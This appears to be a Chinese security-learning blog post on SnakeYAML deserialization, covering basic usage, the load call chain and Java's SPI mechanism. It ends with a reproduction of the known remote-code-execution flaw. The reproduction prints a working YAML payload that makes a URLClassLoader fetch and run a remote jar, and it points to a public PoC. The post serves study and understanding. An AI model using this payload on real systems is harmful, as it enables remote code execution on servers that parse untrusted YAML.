Java SnakeYaml反序列化学习
Snake Yaml介绍
Snake Yaml是用于来解析Yaml格式,可用于Java对象的序列化和反序列化。
Snake Yaml简单使用
导入maven依赖
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data) //将Java对象序列化为YAML字符串。
Yaml.load() //入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象
//还有其他的同理 看看源码就好了。
这里写一个User对象
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
String name;
int age;
}
写一个yaml_test类
public class yaml {
public static void main(String[] args) {
User user = new User();
user.setName("r0ser1");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
User user1 = yaml.load(s);
System.out.println(user1.getName());
}
}
结果
!!com.demo.pojo.User {age: 0, name: BlBana}
r0ser1
!!呢就是用于强制类型转换,和fastjson的@type有点相似?都是指定反序列化的类名。
Snake Yaml反序列化过程
根据上面的demo和用法,我们在load下断点。load会直接到loadFromReader

调用BaseConstructor类的getSingleData方法获取yaml实例

然后首先调用getSingleNode将yaml转为node对象。然后走到constructDocument

进入constructDocument走到constructObjectNoCheck函数

走到229行,获取data数据

里面大致调用就是首先根据node对象 调用构造函数去寻找他的类型,调用有参构造

拿到这个对象并且返回给obj

继续调用constructJavaBean2ndStep,mnode也其实就是类型换成了MappingNode的node

然后调用node.getValue获取对象的值然后继续调用constructObject构造对象Value。然后再后面调用property.set进行属性设置


然后进行setName进行赋值操作。下图是调用链

SPI介绍
因为漏洞用到的类设计SPI机制,这里先学习一下SPI机制
SPI机制
SPI是Java提供的一套用于来被第三方实现或者扩展的API,他可以用于框架的扩展或者替换组件,例如我们有多个数据库,我们如果要换的话就必须改动代码。但是我们如果弄一个统一的接口进行调用。Java只需要去寻找接口服务实现类就好了。核心思想也就是解耦。

使用介绍:
当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。JDK中查找服务的实现的工具类是:java.util.ServiceLoader
SPI学习来自:https://pdai.tech/md/java/advanced/java-advanced-spi.html,里面有案例的实现。这里举一下例子吧。
SPI简单使用
根据上面知识我们简单写两个类模拟数据库
DataSoure接口
package spi;
public interface DataSoure {
void Driver();
}
Mysql类
package spi;
public class Mysql implements DataSoure {
@Override
public void Driver() {
System.out.println("Mysql");
}
}
Oracle类
package spi;
public class Oracle implements DataSoure {
@Override
public void Driver() {
System.out.println("Oracle");
}
}
Test类
package spi;
import java.util.Iterator;
import java.util.ServiceLoader;
public class test {
public static void main(String[] args) {
ServiceLoader<DataSoure> load = ServiceLoader.load(DataSoure.class);
Iterator<DataSoure> iterator = load.iterator();
iterator.next().Driver();
}
}
选择Mysql类


JDBC底层也是通过这种方式来实现的。


所以Java连接各种驱动的时候只要添加java.sql.Driver实现接口,然后Java的SPI机制可以为某个接口寻找服务实现,就实现了各种数据库的驱动连接。
SPI原理调试
还是上面的代码从第一步开始调试。进入load之后,我们跟进ServiceLoader.load(service, cl);发现实例化new ServiceLoader<>(service, loader);继续跟进

就是获取一些service和加载类和当前线程的ClassLoader然后进入reload()

返回一个LazyIterator的实例,然后返回到主函数我们进行迭代。

然后调用hasNext()>nextService()->hasNextService()

然后进行这个资源的加载,然后里面有个迭代器获取名称。赋值给nextName然后返回到nextService

然后通过反射加载这个类,然后再380行实例化这个对象并且返回。然后回到主函数去调用Driver这个方法。

流程下来我们知道了如果load可控加载恶意的接口实习类。然后控制Jar包中的META-INF/services目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。
漏洞复现
POC脚本https://github.com/artsploit/yaml-payload
脚本也比较简单,实现ScriptEngineFactory接口,然后在静态代码块处填写需要执行的命令,打包成Jar包放在WEB服务器上就好了。

import org.yaml.snakeyaml.Yaml;
public class yaml {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

漏洞分析
因为前面说到了用到了SPI机制。那我们得思考哪里用到了ServiceLoader.load。所以我们得注意这个。根据上面代码load处下断点。前面基本都一样,解析遍历yaml数据,然后使用不同的构造器进行反序列化对象
这里不记录了。到最后一个ScriptEngineManager类对象开始有所不同,调用了newInstance(argumentList)。可以看到传入的是URLClassLoader


调用有参->init()->initEngines()->getServiceLoader->ServiceLoader.load
最后进行了遍历然后和上面调试过程一样。实例化对象调用无参构造,然后执行我们的恶意代码。

希望静有所思,思有所想!
参考链接
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://github.com/artsploit/yaml-payload/
https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://pdai.tech/md/java/advanced/java-advanced-spi.html
https://drops.blbana.cc/2020/03/24/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Java-SPI%E6%9C%BA%E5%88%B6

浙公网安备 33010602011771号